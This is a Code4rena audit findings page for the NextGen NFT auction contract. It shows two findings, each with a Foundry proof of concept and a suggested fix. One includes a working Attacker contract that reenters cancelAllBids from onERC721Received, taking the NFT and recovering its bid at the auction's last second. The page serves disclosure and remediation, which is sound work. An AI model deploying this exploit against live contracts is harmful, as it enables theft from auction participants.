Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 100/243
Findings: 2
Award: $25.24
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L134-L143 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135
An NFT can be stolen.
Auction winner in AuctionDemo.sol
contract can claim its NFT using claimAuction()
function.
This function transfer an NFT to the winner using safeTransferFrom()
and do refund to other users.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
Also, if user decide to cancel its bid, there is a cancelAllBids()
function, which remove a user's bid and transfers back funds to user.
function cancelAllBids(uint256 _tokenid) public { require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) { if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) { auctionInfoData[_tokenid][i].status = false; (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid); } else {} } }
Each function can be used in last second of auction due to the next conditions:
In claimAuction()
function:
require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
In cancelAllBids()
function:
require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
Hence a malicious user can attack the next way:
participateToAuction()
and claimAuction()
functions from AuctionDemo.sol
contract at the second of the auction.onERC721Received()
function make a call of cancelAllBids()
function.Consequently, malicious user mint an NFT for free and.
Proof of concept with the exploit scenario.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import {console2, Test, StdStyle} from "forge-std/Test.sol"; import {NextGenCore} from "src/NextGenCore.sol"; import {NextGenAdmins} from "src/NextGenAdmins.sol"; import {NextGenMinterContract} from "src/MinterContract.sol"; import {DelegationManagementContract} from "src/NFTDelegation.sol"; import {randomPool} from "src/XRandoms.sol"; import {NextGenRandomizerNXT} from "src/RandomizerNXT.sol"; import {auctionDemo} from "src/AuctionDemo.sol"; import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; contract POC_ClaimAndCancelAtLastSecond is Test { NextGenCore public nextGenCore; NextGenMinterContract public nextGenMinterContract; NextGenAdmins public nextGenAdmins; DelegationManagementContract public delegationManagementContract; randomPool public _randomPool; NextGenRandomizerNXT public nextGenRandomizerNXT; auctionDemo public _auctionDemo; Attacker public attacker; address public alice; address public bob; address public steve; address public greg; address public owner; address public attackerAddress; function setUp() external { alice = vm.addr(0xB44DE); bob = vm.addr(0x1DE); steve = vm.addr(0x1DA); greg = vm.addr(0x13E); owner = vm.addr(0xA11CE); attackerAddress = vm.addr(0xACA); vm.label(alice, "alice"); vm.label(bob, "bob"); vm.label(steve, "steve"); vm.label(greg, "greg"); vm.label(owner, "owner"); vm.label(attackerAddress, "attacker"); uint256 initialAmount = 100e18; vm.deal(alice , initialAmount); vm.deal(bob , initialAmount); vm.deal(steve , initialAmount); vm.deal(greg , initialAmount); vm.deal(owner , initialAmount); vm.deal(attackerAddress, initialAmount); vm.startPrank(owner); nextGenAdmins = new NextGenAdmins(); _randomPool = new randomPool(); nextGenCore = new NextGenCore( "Next Gen Core", "NEXTGEN", address(nextGenAdmins) ); nextGenRandomizerNXT = new NextGenRandomizerNXT( address(_randomPool), address(nextGenAdmins), address(nextGenCore) ); delegationManagementContract = new DelegationManagementContract(); nextGenMinterContract = new NextGenMinterContract( address(nextGenCore), address(delegationManagementContract), address(nextGenAdmins) ); nextGenCore.addMinterContract(address(nextGenMinterContract)); _auctionDemo = new auctionDemo( address(nextGenMinterContract), address(nextGenCore), address(nextGenAdmins) ); vm.stopPrank(); vm.startPrank(attackerAddress); attacker = new Attacker{value: 1.04 ether}(_auctionDemo); vm.stopPrank(); } // To run test use: forge test --mt test_ClaimNFTAndCancelBidAtLastSecond -vvvvv function test_ClaimNFTAndCancelBidAtLastSecond() external { vm.startPrank(owner); nextGenAdmins.registerAdmin(alice, true); vm.stopPrank(); string[] memory collectionScripts = new string[](1); collectionScripts[0] = "new collection script"; vm.startPrank(alice); nextGenCore.createCollection( "cartlex-collection", "cartlex", "music collection from cartlex", "collection-website", "collection-license", "collection-baseURI", "collection-library", collectionScripts ); vm.stopPrank(); vm.startPrank(owner); nextGenCore.addRandomizer(1, address(nextGenRandomizerNXT)); nextGenAdmins.registerCollectionAdmin(1, alice, true); vm.stopPrank(); vm.startPrank(alice); nextGenCore.setCollectionData(1, alice, 10_000, 20_000, block.timestamp + 1 days); nextGenCore.artistSignature(1, "skrillex"); vm.warp(block.timestamp + 5 days); { uint256 collectionId = 1; uint256 collectionMintCost = 1 ether; uint256 collectionEndMintCost = 0.1 ether; uint256 rate = 0.1 ether; uint256 timePeriod = 1 days; uint8 salesOption = 2; address delAddress = address(delegationManagementContract); nextGenMinterContract.setCollectionCosts(collectionId, collectionMintCost, collectionEndMintCost, rate, timePeriod, salesOption, delAddress); } { uint256 collectionID = 1; uint256 allowlistStartTime = block.timestamp; uint256 allowlistEndTime = block.timestamp + 1 days; uint256 publicStartTime = block.timestamp + 1 days; uint256 publicEndTime = block.timestamp + 2 days; bytes32 merkleRoot = bytes32(0); nextGenMinterContract.setCollectionPhases(collectionID, allowlistStartTime, allowlistEndTime, publicStartTime, publicEndTime, merkleRoot); } { string memory tokenData = "bob"; uint256 saltfuno; uint256 collectionId = 1; uint256 auctionEndTime = block.timestamp + 7 days; nextGenMinterContract.mintAndAuction(bob, tokenData, saltfuno, collectionId, auctionEndTime); } vm.stopPrank(); vm.startPrank(bob); assertEq(nextGenCore.balanceOf(bob), 1); nextGenCore.approve(address(_auctionDemo), 10000000000); vm.stopPrank(); vm.startPrank(greg); uint256 bobTokenId = 10000000000; _auctionDemo.participateToAuction{value: 1 ether}(bobTokenId); vm.stopPrank(); vm.startPrank(steve); _auctionDemo.participateToAuction{value: 1.01 ether}(bobTokenId); vm.stopPrank(); vm.startPrank(steve); _auctionDemo.participateToAuction{value: 1.03 ether}(bobTokenId); vm.stopPrank(); vm.startPrank(attackerAddress); vm.warp(block.timestamp + 7 days); uint256 attackerETHBalanceBeforeAttack = address(attacker).balance; uint256 attackerNFTbalanceBeforeAttack = nextGenCore.balanceOf(address(attacker)); assertEq(nextGenCore.balanceOf(address(attacker)), 0); attacker.bid(bobTokenId); assertEq(nextGenCore.balanceOf(bob), 0); assertEq(nextGenCore.balanceOf(address(attacker)), 1); assertEq(address(attacker).balance, attackerETHBalanceBeforeAttack); console2.log(StdStyle.cyan("Attacker steal NFT for free at the last second of the auction")); vm.stopPrank(); } } contract Attacker is IERC721Receiver { auctionDemo public auctionDemo_; address public owner; constructor(auctionDemo _auctionDemo) payable { auctionDemo_ = _auctionDemo; } modifier onlyOwner() { require(msg.sender == owner, "Not allowed"); _; } function bid(uint256 tokenId) external { auctionDemo_.participateToAuction{value: address(this).balance}(tokenId); auctionDemo_.claimAuction(tokenId); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { auctionDemo_.cancelAllBids(tokenId); return IERC721Receiver.onERC721Received.selector; } function withdraw(address recipient) external onlyOwner { (bool success, ) = payable(recipient).call{value: address(this).balance}(""); require(success, "not ok"); } receive() external payable {} }
Foundry, manual review.
Consifer to implement the next changes:
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ -- require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); ++ require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
ERC721
#0 - c4-pre-sort
2023-11-14T14:29:49Z
141345 marked the issue as duplicate of #289
#1 - c4-pre-sort
2023-11-14T23:32:18Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-04T21:40:36Z
alex-ppg marked the issue as duplicate of #1323
#3 - c4-judge
2023-12-08T18:13:57Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: bird-flu
Also found by: 00decree, 0xAadi, AS, Audinarey, DeFiHackLabs, Eigenvectors, Fitro, Hama, Kaysoft, Krace, REKCAH, SovaSlava, The_Kakers, Viktor_Cortess, cartlex_, degensec, devival, evmboi32, funkornaut, jacopod, openwide, peanuts, rotcivegaf, smiling_heretic, xAriextz, xiao
25.2356 USDC - $25.24
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L113
An NFT owner doesn't receive its funds for NFT.
After auction is end, auction winner can use claimAuction()
function to send NFT to highest bidder, receive funds for it and make refund to other bidders.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
In project README.md
file there is a Main invariant
section, where says:
The highest bidder will receive the token after an auction finishes, the owner of the token will receive the funds and all other participants will get refunded.
However, due to a mistake the funds is sent to the contract owner instead of NFT owner.
(bool success, ) = payable(owner()).call{value: highestBid}("");
Proof of concept for this issue.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import {console2, Test, StdStyle} from "forge-std/Test.sol"; import {NextGenCore} from "src/NextGenCore.sol"; import {NextGenAdmins} from "src/NextGenAdmins.sol"; import {NextGenMinterContract} from "src/MinterContract.sol"; import {DelegationManagementContract} from "src/NFTDelegation.sol"; import {randomPool} from "src/XRandoms.sol"; import {NextGenRandomizerNXT} from "src/RandomizerNXT.sol"; import {auctionDemo} from "src/AuctionDemo.sol"; contract POC_NFTOwnerDoesNotReceiveFunds is Test { NextGenCore public nextGenCore; NextGenMinterContract public nextGenMinterContract; NextGenAdmins public nextGenAdmins; DelegationManagementContract public delegationManagementContract; randomPool public _randomPool; NextGenRandomizerNXT public nextGenRandomizerNXT; auctionDemo public _auctionDemo; address public alice; address public bob; address public steve; address public greg; address public owner; function setUp() external { alice = vm.addr(0xB44DE); bob = vm.addr(0x1DE); steve = vm.addr(0x1DA); greg = vm.addr(0x13E); owner = vm.addr(0xA11CE); vm.label(alice, "alice"); vm.label(bob, "bob"); vm.label(steve, "steve"); vm.label(greg, "greg"); vm.label(owner, "owner"); uint256 initialAmount = 100e18; vm.deal(alice , initialAmount); vm.deal(steve , initialAmount); vm.deal(greg , initialAmount); vm.startPrank(owner); nextGenAdmins = new NextGenAdmins(); _randomPool = new randomPool(); nextGenCore = new NextGenCore( "Next Gen Core", "NEXTGEN", address(nextGenAdmins) ); nextGenRandomizerNXT = new NextGenRandomizerNXT( address(_randomPool), address(nextGenAdmins), address(nextGenCore) ); delegationManagementContract = new DelegationManagementContract(); nextGenMinterContract = new NextGenMinterContract( address(nextGenCore), address(delegationManagementContract), address(nextGenAdmins) ); nextGenCore.addMinterContract(address(nextGenMinterContract)); _auctionDemo = new auctionDemo( address(nextGenMinterContract), address(nextGenCore), address(nextGenAdmins) ); vm.stopPrank(); } // To run test use: forge test --mt test_NFTOwnerDoesNotReceiveFunds -vvvvv function test_NFTOwnerDoesNotReceiveFunds() external { vm.startPrank(owner); nextGenAdmins.registerAdmin(alice, true); vm.stopPrank(); string[] memory collectionScripts = new string[](1); collectionScripts[0] = "new collection script"; vm.startPrank(alice); nextGenCore.createCollection( "cartlex-collection", "cartlex", "music collection from cartlex", "collection-website", "collection-license", "collection-baseURI", "collection-library", collectionScripts ); vm.stopPrank(); vm.startPrank(owner); nextGenCore.addRandomizer(1, address(nextGenRandomizerNXT)); nextGenAdmins.registerCollectionAdmin(1, alice, true); vm.stopPrank(); vm.startPrank(alice); nextGenCore.setCollectionData(1, alice, 10_000, 20_000, block.timestamp + 1 days); nextGenCore.artistSignature(1, "skrillex"); vm.warp(block.timestamp + 5 days); { uint256 collectionId = 1; uint256 collectionMintCost = 1 ether; uint256 collectionEndMintCost = 0.1 ether; uint256 rate = 0.1 ether; uint256 timePeriod = 1 days; uint8 salesOption = 2; address delAddress = address(delegationManagementContract); nextGenMinterContract.setCollectionCosts(collectionId, collectionMintCost, collectionEndMintCost, rate, timePeriod, salesOption, delAddress); } { uint256 collectionID = 1; uint256 allowlistStartTime = block.timestamp; uint256 allowlistEndTime = block.timestamp + 1 days; uint256 publicStartTime = block.timestamp + 1 days; uint256 publicEndTime = block.timestamp + 2 days; bytes32 merkleRoot = bytes32(0); nextGenMinterContract.setCollectionPhases(collectionID, allowlistStartTime, allowlistEndTime, publicStartTime, publicEndTime, merkleRoot); } { string memory tokenData = "bob"; uint256 saltfuno; uint256 collectionId = 1; uint256 auctionEndTime = block.timestamp + 7 days; nextGenMinterContract.mintAndAuction(bob, tokenData, saltfuno, collectionId, auctionEndTime); } vm.stopPrank(); vm.startPrank(bob); assertEq(address(bob).balance, 0); assertEq(address(owner).balance, 0); assertEq(nextGenCore.balanceOf(bob), 1); emit log_named_decimal_uint("Bob balance before ", address(bob).balance, 18); emit log_named_decimal_uint("Owner balance before", address(owner).balance, 18); nextGenCore.approve(address(_auctionDemo), 10000000000); vm.stopPrank(); vm.startPrank(greg); uint256 bobTokenId = 10000000000; _auctionDemo.participateToAuction{value: 1 ether}(bobTokenId); vm.stopPrank(); vm.startPrank(steve); _auctionDemo.participateToAuction{value: 1.01 ether}(bobTokenId); vm.stopPrank(); vm.startPrank(greg); _auctionDemo.participateToAuction{value: 1.02 ether}(bobTokenId); vm.stopPrank(); vm.startPrank(steve); _auctionDemo.participateToAuction{value: 1.03 ether}(bobTokenId); vm.warp(block.timestamp + 7 days); _auctionDemo.claimAuction(bobTokenId); assertEq(address(bob).balance, 0); assertEq(address(owner).balance, 1.03 ether); console2.log(StdStyle.cyan("============================================")); emit log_named_decimal_uint("Bob balance after ", address(bob).balance, 18); emit log_named_decimal_uint("Owner balance after ", address(owner).balance, 18); console2.log(StdStyle.cyan("Contract owner received funds instead of Bob")); vm.stopPrank(); } }
Foundry, manual review.
To mitigate this issue consider to implement the next changes:
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); -- (bool success, ) = payable(owner()).call{value: highestBid}(""); ++ (bool success, ) = payable(ownerOfToken).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
Error
#0 - c4-pre-sort
2023-11-15T08:08:12Z
141345 marked the issue as duplicate of #245
#1 - c4-judge
2023-12-08T22:27:21Z
alex-ppg marked the issue as satisfactory